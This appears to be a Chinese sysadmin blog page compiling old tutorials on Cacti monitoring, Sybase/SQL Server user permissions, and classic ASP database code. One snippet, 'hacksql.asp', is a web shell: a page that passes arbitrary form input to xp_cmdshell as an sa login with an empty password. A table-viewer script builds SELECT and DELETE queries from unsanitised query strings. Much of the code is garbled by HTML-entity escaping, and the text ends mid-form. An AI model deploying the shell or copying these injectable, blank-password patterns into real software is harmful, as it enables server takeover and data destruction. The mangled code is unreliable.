网站运维、系统运维管理研究
2006/02/23分析&监控

40条评论
58 views

使用cacti监测系统性能

一、概述

Linux下用的最多的是MRTG的性能监视,MRTG配置比较简单,MRTG的确是非常好的东东,但我认为它毕竟已经是一套很旧的软件了,其作者在多年前就已经开发了RRDTool代替该软件,现在已经发展得很成熟。既然有更好的选择,为什么我们还要用MRTG呢?

简单的说,rrdtool就是一个强大的绘图的引擎,很多语言都可以调用rrdtool绘图。

整个系统的架构是这样的:

基于SNMP协议,被监控端是服务器,或一些网络设备,

网络管理工作站,采用Linux(或Freebsd)操作系统,并且安装Net-SNMP工具,使用RRDTOOL采集数据,存储数据,并用Cacti调用rrdtool显示出来。

CACTI采用PHP编写,基于B/S结构。

二、介绍

MRTG的优点:简单、易上手,基本安装完了之后只要更改一下配置文件即可。

缺点:

1、使用文本式的数据库,数据不能重复使用;

2、只能按日、周、月、年来查看数据;

3、只能画两个DS(一条线、一个块);

4、每取一次数据即需要绘图一次,浪费系统资源;

5、无管理功能;

rrdtool的优点:

1、使用rrd存储格式,数据能重复使用,比如我可以将一个rrd文件中的数据与另一个rrd文件中的数据相加。

2、可以定义任意时间段画图,即你可以画出一张半年以来的数据的图,也可以画出一张半小时以来的图。

3、能画任意个DS。

4、CDEF让你能任意摆弄数据。

缺点:

1、rrdtool的作用只是存储数据和画图,它没有mrtg中集成的数据采集功能;

2、在命令行的使用非常复杂,参数极多。

3、无管理功能。

简单的说,rrdtool就是一个强大的绘图的引擎。

由于其非常复杂的命令,对用户非常不友好。幸运的是,PHP可管理化的cacti(www.cacti.net)出现了。对该工具只有一个字形容:“great!”。 cacti其实是一套php程序,它运用snmpget采集数据,使用rrdtool绘图。它的界面非常漂亮,能让你根本无需明白rrdtool的参数能轻易的绘出漂亮的图形。更难能可贵的是,它提供了强大的数据管理和用户管理功能,一张图是属于一个host的,每一个host又可以挂载到一个树状的结构上。用户的管理上,作为一个开源软件,它居然做到为指定一个用户能查看的“树”、host、甚至每一张图,还可以与LDAP结合进行用户的验证!真是不由得佩服作者考虑的周到!Cacti还提供自己增加模板的功能,让你添加自己的snmp_query和script!可以说,cacti将rrdtool的所有“缺点”都补足了!

更多请见附件

[down=attachment/month_0602/f200622310515.doc]点击下载此文件[/down]

SQL Server的用户及权限

Sybase中的用户分为两种:SQL服务器用户(登录帐号)和数据库用户。 安装完SQL服务器后,系统自动建立一个SQL服务器用户sa,口令为空,即系统管理员,他对整个系统有操作权,其他用户均由系统管理员建立。

在SQL Server中有三种特殊的用户:系统管理员、用户数据库所有者(建立相应数据库的数据库用户)DBO、一般用户。系统管理员对整个系统有操作权;用户数据库所有者对他所建立的数据库具有全部操作权利;一般用户对给定的数据库只有被授权的操作权限。

数据库用户一般可分为用户组,任一数据库在建立后即被赋予一个用户组public。

1、建立SQL服务器用户名(登录帐号)

作为一个用户,为了使用SQL Server,他必须在SQL Server上有一个SQL服务器用户名(登录帐号)。这个帐号是系统管理员通过sp_addlogin来增加的。

sp_addlogin 登录名,口令,库名,语言,全名

例:建立用户zhang, 口令为zhangling(最低六位),全名为Zhang ling

1> sp_addlogin zhang,zhangling,null,null,Zhang ling

2> go

3> select * from syslogins

4> go

2、增加数据库用户名

同样,为了使用SQL Server上的数据库,他必须在数据库中有一个用户名,这个用户名是数据库所有者通过sp_adduser来增加的。数据库用户名不必和用户帐户一样,而且在不同的数据库中用户名可以不同。多个用户可以有相同的SQL Server帐户。同样,多个SQL Server帐户可以有相同的数据库名。

sp_adduser 登录名,别名,组名

登录名为用户的SQL服务器登录名;别名为用户在数据库中的用户名;组名为用户所属的数据库用户组。

例:用户zhang增加为tele114的用户,别名为zhang1,属于用户组china

1>sp_addgroup china

2>go

1>sp_adduser zhang,zhang1,china

2>go

1> sp_helpuser

2> go

*例:删除别名zhang1,用户组china,登录名zhang

1> use tele114

2> go

3> sp_dropuser zhang1

4> go

5> sp_helpuser

6> go

1>sp_dropgroup china

2>go

1> sp_helpgroup

2> go

3> use master

4> go

5> sp_droplogin zhang

6> go

7> select * from syslogins

8> go

3、数据库操作授权

grant 命令序列 to 用户名

A. 系统管理员可以授予其他用户Create DATABASE的权限,使其他用户可以成为数据库所有者。

B. 数据库所有者在他所拥有的数据库中,可以授予其他用户的权限有:

l Create TABLE ——————- 建表

lCreate DEFAULT —————— 建缺省

lCreate RULE ——————- 建规则

lCreate PROCedure —————— 建存储过程

lCreate VIEW ——————- 建视图

lDUMP DATABASE ——————- 备份数据库

lDUMP TRANsaction —————— 备份日志

C. 数据库对象所有者可以授予其他用户的操作权限有:

l Select

l Update

l Insert

l EXECute

l Delete

l REFERENCE

例:授予zhang1在数据库tele114上建表,建视图,建存储过程;对表students有select,reference权;对name,native字段有update权。

1> use tele114

2> go

3> grant creat table,create procedure ,create view to zhang1

4> go

5> grant select,reference on students to zhang1 with grant option 6> go

7> grant update on students(name,native) to zhang1

8> go

9> sp_helprotect

10> go

将表数据生成SQL脚本的存储过程

Cr&#101;ate&amp;nbsp;PROCEDURE&amp;nbsp;dbo.UspOutputData&amp;nbsp;<br />@tablename&amp;nbsp;sysname&amp;nbsp;<br />AS&amp;nbsp;<br />declare&amp;nbsp;@column&amp;nbsp;varchar(1000)&amp;nbsp;<br />declare&amp;nbsp;@columndata&amp;nbsp;varchar(1000)&amp;nbsp;<br />declare&amp;nbsp;@sql&amp;nbsp;varchar(4000)&amp;nbsp;<br />declare&amp;nbsp;@xtype&amp;nbsp;tinyint&amp;nbsp;<br />declare&amp;nbsp;@name&amp;nbsp;sysname&amp;nbsp;<br />declare&amp;nbsp;@objectId&amp;nbsp;int&amp;nbsp;<br />declare&amp;nbsp;@objectname&amp;nbsp;sysname&amp;nbsp;<br />declare&amp;nbsp;@ident&amp;nbsp;int&amp;nbsp;<br /><br />set&amp;nbsp;nocount&amp;nbsp;on&amp;nbsp;<br />set&amp;nbsp;@objectId=object_id(@tablename)&amp;nbsp;<br /><br />if&amp;nbsp;@objectId&amp;nbsp;is&amp;nbsp;null&amp;nbsp;–&amp;nbsp;判斷對象是否存在&amp;nbsp;<br />begin&amp;nbsp;<br />print&amp;nbsp;&#39;The&amp;nbsp;object&amp;nbsp;not&amp;nbsp;exists&#39;&amp;nbsp;<br />return&amp;nbsp;<br />end&amp;nbsp;<br />set&amp;nbsp;@objectname=rtrim(object_name(@objectId))&amp;nbsp;<br /><br />if&amp;nbsp;@objectname&amp;nbsp;is&amp;nbsp;null&amp;nbsp;or&amp;nbsp;charindex(@objectname,@tablename)=0&amp;nbsp;–此判断不严密&amp;nbsp;<br />begin&amp;nbsp;<br />print&amp;nbsp;&#39;object&amp;nbsp;not&amp;nbsp;in&amp;nbsp;current&amp;nbsp;database&#39;&amp;nbsp;<br />return&amp;nbsp;<br />end&amp;nbsp;<br /><br />if&amp;nbsp;OBJECTPROPERTY(@objectId,&#39;IsTable&#39;)&amp;nbsp;&amp;lt;&amp;nbsp;&amp;gt;&amp;nbsp;1&amp;nbsp;–&amp;nbsp;判斷對象是否是table&amp;nbsp;<br />begin&amp;nbsp;<br />print&amp;nbsp;&#39;The&amp;nbsp;object&amp;nbsp;is&amp;nbsp;not&amp;nbsp;table&#39;&amp;nbsp;<br />return&amp;nbsp;<br />end&amp;nbsp;<br /><br />sel&#101;ct&amp;nbsp;@ident=status&amp;amp;0×80&amp;nbsp;from&amp;nbsp;syscolumns&amp;nbsp;wh&#101;re&amp;nbsp;id=@objectid&amp;nbsp;and&amp;nbsp;status&amp;amp;0×80=0×80&amp;nbsp;<br /><br />if&amp;nbsp;@ident&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;<br />print&amp;nbsp;&#39;SET&amp;nbsp;IDENTITY_Ins&#101;rt&amp;nbsp;&#39;+@TableName+&#39;&amp;nbsp;ON&#39;&amp;nbsp;<br /><br />declare&amp;nbsp;syscolumns_cursor&amp;nbsp;cursor<br /><br />for&amp;nbsp;sel&#101;ct&amp;nbsp;c.name,c.xtype&amp;nbsp;from&amp;nbsp;syscolumns&amp;nbsp;c&amp;nbsp;wh&#101;re&amp;nbsp;c.id=@objectid&amp;nbsp;order&amp;nbsp;by&amp;nbsp;c.colid&amp;nbsp;<br /><br />open&amp;nbsp;syscolumns_cursor&amp;nbsp;<br />set&amp;nbsp;@column=&#39;&#39;&amp;nbsp;<br />set&amp;nbsp;@columndata=&#39;&#39;&amp;nbsp;<br />fetch&amp;nbsp;next&amp;nbsp;from&amp;nbsp;syscolumns_cursor&amp;nbsp;into&amp;nbsp;@name,@xtype&amp;nbsp;<br /><br />while&amp;nbsp;@@fetch_status&amp;nbsp;&amp;lt;&amp;nbsp;&amp;gt;-1&amp;nbsp;<br />begin&amp;nbsp;<br />if&amp;nbsp;@@fetch_status&amp;nbsp;&amp;lt;&amp;nbsp;&amp;gt;-2&amp;nbsp;<br />begin&amp;nbsp;<br />if&amp;nbsp;@xtype&amp;nbsp;not&amp;nbsp;in(189,34,35,99,98)&amp;nbsp;–timestamp不需处理,image,text,ntext,sql_variant&amp;nbsp;暂时不处理&amp;nbsp;<br /><br />begin&amp;nbsp;<br />set&amp;nbsp;@column=@column+case&amp;nbsp;when&amp;nbsp;len(@column)=0&amp;nbsp;then&#39;&#39;&amp;nbsp;else&amp;nbsp;&#39;,&#39;end+@name&amp;nbsp;<br /><br />set&amp;nbsp;@columndata=@columndata+case&amp;nbsp;when&amp;nbsp;len(@columndata)=0&amp;nbsp;then&amp;nbsp;&#39;&#39;&amp;nbsp;else&amp;nbsp;&#39;,&#39;&#39;,&#39;&#39;,&#39;<br />end&amp;nbsp;<br /><br />+case&amp;nbsp;when&amp;nbsp;@xtype&amp;nbsp;in(167,175)&amp;nbsp;then&amp;nbsp;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;+&#39;+@name+&#39;+&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&amp;nbsp;–varchar,char&amp;nbsp;<br />when&amp;nbsp;@xtype&amp;nbsp;in(231,239)&amp;nbsp;then&amp;nbsp;&#39;&#39;&#39;N&#39;&#39;&#39;&#39;&#39;&#39;+&#39;+@name+&#39;+&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&amp;nbsp;–nvarchar,nchar&amp;nbsp;<br />when&amp;nbsp;@xtype=61&amp;nbsp;then&amp;nbsp;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;+convert(char(23),&#39;+@name+&#39;,121)+&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&amp;nbsp;–datetime&amp;nbsp;<br />when&amp;nbsp;@xtype=58&amp;nbsp;then&amp;nbsp;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;+convert(char(16),&#39;+@name+&#39;,120)+&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&amp;nbsp;–smalldatetime&amp;nbsp;<br />when&amp;nbsp;@xtype=36&amp;nbsp;then&amp;nbsp;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;+convert(char(36),&#39;+@name+&#39;)+&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&amp;nbsp;–uniqueidentifier&amp;nbsp;<br />else&amp;nbsp;@name&amp;nbsp;end&amp;nbsp;<br /><br />end&amp;nbsp;<br /><br />end&amp;nbsp;<br /><br />fetch&amp;nbsp;next&amp;nbsp;from&amp;nbsp;syscolumns_cursor&amp;nbsp;into&amp;nbsp;@name,@xtype&amp;nbsp;<br /><br />end&amp;nbsp;<br /><br />close&amp;nbsp;syscolumns_cursor&amp;nbsp;<br />deallocate&amp;nbsp;syscolumns_cursor&amp;nbsp;<br /><br />set&amp;nbsp;@sql=&#39;set&amp;nbsp;nocount&amp;nbsp;on&amp;nbsp;sel&#101;ct&amp;nbsp;&#39;&#39;ins&#101;rt&amp;nbsp;&#39;+@tablename+&#39;(&#39;+@column+&#39;)&amp;nbsp;values(&#39;&#39;as&amp;nbsp;&#39;&#39;–&#39;&#39;,&#39;+@columndata+&#39;,&#39;&#39;)&#39;&#39;&amp;nbsp;from&amp;nbsp;&#39;+@tablename&amp;nbsp;<br /><br />print&amp;nbsp;&#39;–&#39;+@sql&amp;nbsp;<br />exec(@sql)&amp;nbsp;<br /><br />if&amp;nbsp;@ident&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;<br />print&amp;nbsp;&#39;SET&amp;nbsp;IDENTITY_Ins&#101;rt&amp;nbsp;&#39;+@TableName+&#39;&amp;nbsp;OFF&#39;&amp;nbsp;<br /><br />GO<br /><br />exec&amp;nbsp;UspOutputData&amp;nbsp;你的表名<br />

asp调用数据库存储过程

<%Set Dataconn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)

&#39;建立连接对象

Dataconn.Open &#34;DSN=SinoTrans;SERVER=APP_SERVER;UID=sa;PWD=;APP=Microsoft(R) Developer Studio;WSID=APP_SERVER;Regional=Yes&#34;

Set cmdTemp = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)

&#39;建立命令对象

Set rst = Server.Cr&#101;ateObject(&#34;ADODB.Recordset&#34;)

&#39;建立记录集对象

cmdTemp.CommandText = &#34;dbo.pd_test&#34; &#39;存储过程名称

cmdTemp.CommandType = 4

&#39;命令类别为4,表示为存储过程

Set cmdTemp.ActiveConnection = Dataconn

Set tmpParam = cmdTemp.Cr&#101;ateParameter(&#34;Return value&#34;, 3, 4, 4)

cmdTemp.Parameters.Append tmpParam

Set tmpParam = cmdTemp.Cr&#101;ateParameter(&#34;@BeginDate&#34;, 135, 1, 16, riqi)

&#39;创建输入参数对象

cmdTemp.Parameters.Append tmpParam

rst.Open cmdTemp, , 1, 3

&#39;生成查询结果

%>

这里调用的存储过程为pd_test,这种是ADO中提供的标准方法,但存在一个问题,就是当在存储过程中有两个以上的Sel&#101;ct语句,但从逻辑上又不可能同时执行的时候,ADO会提示你存储过程中Sel&#101;ct语句太多,解决方法是直接用ADO的CONNECTION对象的EXECUTE方法直接执行存储过程,如下:

<%

Set Dataconn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)

&#39;建立连接对象

Dataconn.Open &#34;DSN=SinoTrans;SERVER=APP_SERVER;UID=sa;PWD=;APP=Microsoft(R) Developer Studio;WSID=APP_SERVER;Regional=Yes&#34;

ss = &#34;EXECUTE dbo.pd_test &#34; &amp; &#34;&#39;&#34; &amp; riqi1 &amp; &#34;&#39;&#34;

Set rs = dataconn.Execute(ss)

%>

利用sql的存储过程实现dos命令的asp程序

1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy

如下:

Cr&#101;ate PROCEDURE ddy

@cmd varchar(50)

AS

exec master..xp_cmdshell @cmd

2、asp程序里如下:(hacksql.asp)

<%

cmd=trim(Request.Form(&#34;cmd&#34;))

if cmd<>&#34;&#34; then

work()

else

show()

end if

function work()

set conn=server.Cr&#101;ateObject(&#34;adodb.connection&#34;)

set rs=server.Cr&#101;ateObject(&#34;adodb.recordset&#34;)

conn.Open &#34;xx&#34;,&#34;sa&#34;,&#34;&#34;

sql=&#34;exec ddy &#39;&#34;&amp;cmd&amp;&#34;&#39;&#34;

rs.Open sql,conn

if not rs.EOF then

do while not rs.eof

Response.Write &#34;<pre>&#34;&amp;htmlencode2(trim(rs(0)))&amp;&#34;</pre>&#34;

rs.MoveNext

loop

else

Response.Write &#34;no&#34;

end if

if rs.State=1 then rs.close

set rs=nothing

conn.Close

set conn=nothing

end function

function show()

%>

<form action=hacksql.asp method=post>

请输入DOS命令:<input type=text name=cmd>

<input type=submit value=&#34;ok&#34;>

</form>

<%

end function

function htmlencode2(str)&#39;——–转换函数(为了显示时比较工整)

dim result

dim l

if isnull(str) then

htmlencode2=&#34;&#34;

exit function

end if

l=len(str)

result=&#34;&#34;

dim i

for i = 1 to l

sel&#101;ct case mid(str,i,1)

case &#34;<&#34;

result=result+&#34;<&#34;

case &#34;>&#34;

result=result+&#34;>&#34;

case chr(34)

result=result+&#34;&#34;&#34;

case &#34;&amp;&#34;

result=result+&#34;&amp;&#34;

case chr(13)

result=result+&#34;<br>&#34;

case chr(9)

result=result+&#34; &#34;

case &#34;&#39;&#34;

result=result+&#34;’&#34;

case chr(32)

result=result+&#34; &#34;

if i+1<=l and i-1>0 then

if mid(str,i+1,1)=chr(32) o&#114; mid(str,i+1,1)=chr(9) o&#114; mid(str,i-1,1)=chr(32) o&#114; mid(str,i-1,1)=chr(9) then

result=result+&#34; &#34;

else

result=result+&#34; &#34;

end if

else

result=result+&#34; &#34;

end if

case else

result=result+mid(str,i,1)

end sel&#101;ct

next

htmlencode2=result

end function

%>

用asp程序显示sql数据库所有表的名称(带删除功能)

<%

&#39; Define your sql info here

strSQLDSN = &#34;xxxx&#34;

strSQLUsername = &#34;sa&#34;

strSQLPassword = &#34;&#34;

&#39; This is wh&#101;re we connect to our sql server

Set adoConn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)

ConnectionString = &#34;dsn=&#34; &amp; strSQLDSN &amp; &#34;;uid=&#34; &amp; strSQLUsername &amp; &#34;;pwd=&#34; &amp; strSQLPassword &amp; &#34;&#34;

adoConn.Open ConnectionString

Set adoRS = Server.Cr&#101;ateObject(&#34;ADODB.Recordset&#34;)

&#39; now we will just difine a couple things

showblank = &#34; &#34;

shownull = &#34;-null-&#34;

If Request.QueryString(&#34;action&#34;) = &#34;del&#34; Then

Del&#101;te_Data

Else

If Request.QueryString(&#34;table&#34;) <> &#34;&#34; Then

&#39; A table has been sel&#101;cted

Page_Head

Display_Table_Names

If Request.QueryString(&#34;msg&#34;) = &#34;del&#101;ted&#34; Then

Response.Write(&#34;<p><br></p>&#34;)

Response.Write(&#34;<font color=&#34;&#34;#FF0000&#34;&#34;><b>成功删除数据</b></font>&#34;)

Else

Response.Write(&#34;<p><br></p>&#34;)

End If

Display_Table_Info

Else

&#39; No table has been sel&#101;cted.

Page_Head

Display_Table_Names

End If

End If

Sub Page_Head

%>

<HTML>

<HEAD>

<TITLE>SQL Viewer</TITLE>

<BODY aLink=#0663bf leftMargin=&#34;0&#34; link=&#34;#0663bf&#34; topMargin=&#34;0&#34; vLink=&#34;#0663bf&#34; MARGINHEIGHT=&#34;0&#34;

MARGINWIDTH=&#34;0&#34;>

</HEAD>

<p><br></p>

<%

End Sub

Sub Del&#101;te_Data

strSQL = &#34;Del&#101;te From &#34; &amp; Request.QueryString(&#34;table&#34;) &amp; &#34; Wh&#101;re ID=&#39;&#34; &amp;

Request.QueryString(&#34;id&#34;) &amp; &#34;&#39;&#34;

Set adoRS = adoConn.Execute(strSQL)

strURL = &#34;index.asp?table=&#34; &amp; Request.QueryString(&#34;table&#34;) &amp; &#34;&amp;msg=del&#101;ted&#34;

Response.Redirect(strURL)

End Sub

Sub Display_Table_Names

Response.Write(&#34;<div align=&#34;&#34;center&#34;&#34;><center>&#34; &amp; vbCrLf)

Response.Write(&#34;&#34; &amp; vbCrLf)

Response.Write(&#34;<table border=&#34;&#34;1&#34;&#34; cellpadding=&#34;&#34;0&#34;&#34; cellspacing=&#34;&#34;0&#34;&#34; width=&#34;&#34;36%&#34;&#34;

bordercolor=&#34;&#34;#9b9180&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr bgColor=&#34;&#34;#9b9180&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;><p align=&#34;&#34;center&#34;&#34;><font

color=&#34;&#34;#FFFFFF&#34;&#34;><strong>SQL Viewer</strong></font></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr bgColor=&#34;&#34;#dcd8d1&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;><div align=&#34;&#34;center&#34;&#34;><center><table border=&#34;&#34;0&#34;&#34;

cellpadding=&#34;&#34;0&#34;&#34;&#34; &amp; vbCrLf)

Response.Write(&#34; cellspacing=&#34;&#34;0&#34;&#34; width=&#34;&#34;100%&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;> </td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34; NOWRAP><center> <sel&#101;ct size=&#34;&#34;1&#34;&#34;

name=&#34;&#34;Table&#34;&#34; style=&#34;&#34;font-family: Verdana; font-size: 8pt&#34;&#34;

onChange=&#34;&#34;top.location.href=this.options[this.sel&#101;ctedIndex].value&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <option sel&#101;cted value>请选择表名进行查看.</option>&#34; &amp; vbCrLf)

strSQL = &#34;Sel&#101;ct name FROM sysobjects Wh&#101;re xtype = &#39;U&#39; AND (Not (id) = 133575514) o&#114;DER

BY name&#34;

Set adoRS = adoConn.Execute(strSQL)

Do While Not adoRS.EOF

Response.Write &#34;<option value=&#34;&#34;index.asp?table=&#34; &amp; adoRS(&#34;name&#34;) &amp; &#34;&#34;&#34;>&#34; &amp;

adoRS(&#34;name&#34;) &amp; &#34;</option>&#34;

adoRS.MoveNext

Loop

Response.Write(&#34; </sel&#101;ct> </center></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;> </td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; </table>&#34; &amp; vbCrLf)

Response.Write(&#34; </center></div></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34;</table>&#34; &amp; vbCrLf)

Response.Write(&#34;</center></div>&#34; &amp; vbCrLf)

End Sub

Sub Display_Table_Info

Response.Write(&#34;<div align=&#34;&#34;center&#34;&#34;><center>&#34; &amp; vbCrLf)

Response.Write(&#34;<table border=&#34;&#34;1&#34;&#34; cellpadding=&#34;&#34;0&#34;&#34; cellspacing=&#34;&#34;0&#34;&#34; width=&#34;&#34;36%&#34;&#34;

bordercolor=&#34;&#34;#9b9180&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr bgColor=&#34;&#34;#9b9180&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;><p align=&#34;&#34;center&#34;&#34;><font

color=&#34;&#34;#FFFFFF&#34;&#34;><strong>SQL 破戒</strong></font></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr bgColor=&#34;&#34;#dcd8d1&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;><div align=&#34;&#34;center&#34;&#34;><center><table border=&#34;&#34;0&#34;&#34;

cellpadding=&#34;&#34;0&#34;&#34;&#34; &amp; vbCrLf)

Response.Write(&#34; cellspacing=&#34;&#34;0&#34;&#34; width=&#34;&#34;100%&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

&#39; This sel&#101;cts the table that we want to use.

strSQL=&#34;sel&#101;ct * from &#34; &amp; Request.QueryString(&#34;table&#34;) &amp; &#34;&#34;

set adoRS=adoConn.execute(strSQL)

&#39; Now lets start the table

Response.Write(&#34;<table border=&#34;&#34;1&#34;&#34;><tr>&#34; &amp; vbCrLf)

&#39; this will find all the fields in that table and write them out

FOR EACH fieldname IN adoRS.fields

Response.Write(&#34;<td><b><font size=&#34;&#34;2&#34;&#34;>&#34; &amp; fieldname.name &amp; &#34;</font></B></TD>&#34;)

NEXT &#39; fieldname

Response.Write(&#34;<td><b><font size=&#34;&#34;2&#34;&#34;>删除</font></B></TD>&#34;)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

DO UNTIL adoRS.eof

Response.Write(&#34;<tr>&#34;)

FOR EACH fieldname IN adoRS.fields

strFieldvalue=fieldname.value

strField=fieldname.name

IF isnull(strFieldvalue) THEN

strFieldvalue=shownull

END IF

IF trim(strFieldvalue)=&#34;&#34; THEN

strFieldvalue=showblank

END IF

IF strField = &#34;ID&#34; o&#114; strField = &#34;id&#34; THEN

strRecordID = strFieldvalue

END IF

Response.Write(&#34;<td valign=top><font size=&#34;&#34;2&#34;&#34;>&#34; &amp; strFieldvalue &amp;

&#34;</font></td>&#34; &amp; vbCrLf)

NEXT

Response.Write(&#34;<td valign=top><font size=&#34;&#34;2&#34;&#34;><a href=&#34;&#34;index.asp?table=&#34; &amp;

Request.QueryString(&#34;table&#34;) &amp; &#34;&amp;id=&#34; &amp; strRecordID &amp; &#34;&amp;action=del&#34;&#34;>删除</a></font></td>&#34; &amp;

vbCrLf)

adoRS.movenext

LOOP

Response.Write(&#34;</table>&#34;)

adoRS.close

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; </table>&#34; &amp; vbCrLf)

Response.Write(&#34; </center></div></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34;</table>&#34; &amp; vbCrLf)

Response.Write(&#34;</center></div>&#34; &amp; vbCrLf)

End Sub

%>

图片上传的WebForm(自动生成所略图)

<%@ Page language=&#34;c#&#34; Codebehind=&#34;feUploadPic.aspx.cs&#34; AutoEventWireup=&#34;false&#34; Inherits=&#34;cj168.Web.Mag.Admins.FeData.feUploadPic&#34; %>

<%@ Register TagPrefix=&#34;cj168&#34; TagName=&#34;Header&#34; Src=&#34;modules/headerFe.ascx&#34; %>

<!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34; >

<HTML>

<HEAD>

<title>fedata</title>

<meta content=&#34;Microsoft Visual Studio 7.0&#34; name=&#34;GENERATOR&#34;>

<meta content=&#34;C#&#34; name=&#34;CODE_LANGUAGE&#34;>

<meta content=&#34;JavaScript&#34; name=&#34;vs_defaultClientScript&#34;>

<meta content=&#34;http://schemas.microsoft.com/intellisense/ie5&amp; … ot;vs_targetSchema&#34;>

<style>BODY { FONT-SIZE: 9pt }

.calPicDate { FONT-SIZE: 9pt; FONT-FAMILY: Verdana, Helvetica, sans-serif }

.valid { FONT-SIZE: 9pt; COLOR: red }

TD { FONT-SIZE: 9pt }

</style>

</HEAD>

<body MS_POSITIONING=&#34;GridLayout&#34;>

<table width=&#34;100%&#34;>

<tr>

<td><cj168:header id=&#34;Header1&#34; runat=&#34;server&#34;></cj168:header></td>

</tr>

</table>

<form id=&#34;fedata&#34; method=&#34;post&#34; encType=&#34;multipart/form-data&#34; runat=&#34;server&#34;>

<TABLE id=&#34;Table1&#34; cellSpacing=&#34;0&#34; cellPadding=&#34;1&#34; width=&#34;750&#34; border=&#34;1&#34;>

<TR>

<TD width=&#34;70&#34;>图片标题</TD>

<TD><asp:textbox id=&#34;txtboxPicTitle&#34; runat=&#34;server&#34;></asp:textbox><br>

< asp:requiredfieldvalidator id=&#34;Requiredfieldvalidator1&#34; runat=&#34;server&#34; ErrorMessage =&#34;请填写图片标题。&#34; CssClass=&#34;valid&#34; ControlToValidate=&#34;txtboxPicTitle&#34;>< /asp:requiredfieldvalidator><br>

<asp:regularexpressionvalidator id =&#34;vldCatName&#34; ErrorMessage=&#34;图片标题至少2个字符,不应包含’“ ” ! @ # $ % ^ &amp; * ( ) < > 《 》{ } [ ] ? 。,? ¥&#34; CssClass=&#34;valid&#34; ControlToValidate= &#34;txtboxPicTitle&#34; ValidationExpression=&#34;[^’^“^”^^!^@^#^$^%^^^&amp;^*^(^) ^<^>^《^》^?^。^,^?^¥^^][^]]&#34; Runat=&#34;server&#34;></asp: regularexpressionvalidator></TD>

</TR>

<TR>

<TD>图片日期</TD>

< TD><asp:textbox id=&#34;txtboxPicDate&#34; runat=&#34;server&#34; Width=&#34;300&#34;>< /asp:textbox><asp:calendar id=&#34;calPicDate&#34; runat=&#34;server&#34; CssClass= &#34;calPicDate&#34; Width=&#34;300&#34; Sel&#101;ctMonthText=&#34;本月&#34; Sel&#101;ctWeekText=&#34;本周 &#34; NextPrevFormat=&#34;FullMonth&#34; OnSel&#101;ctionChanged=&#34;CalDateSel&#101;cted&#34;>

<NextPrevStyle CssClass=&#34;calPicDate&#34;></NextPrevStyle>

<WeekendDayStyle ForeColor=&#34;red&#34;></WeekendDayStyle>

<TodayDayStyle Font-Bold=&#34;True&#34; ForeColor=&#34;red&#34; BackColor=&#34;#ccccff&#34;></TodayDayStyle>

<Sel&#101;ctedDayStyle BackColor=&#34;black&#34; Font-Bold=&#34;true&#34;></Sel&#101;ctedDayStyle>

</asp:calendar><BR>

< asp:requiredfieldvalidator id=&#34;Requiredfieldvalidator2&#34; runat=&#34;server&#34; ErrorMessage =&#34;请选择或填写图片日期。&#34; CssClass=&#34;valid&#34; ControlToValidate=&#34;txtboxPicDate&#34;> </asp:requiredfieldvalidator><br>

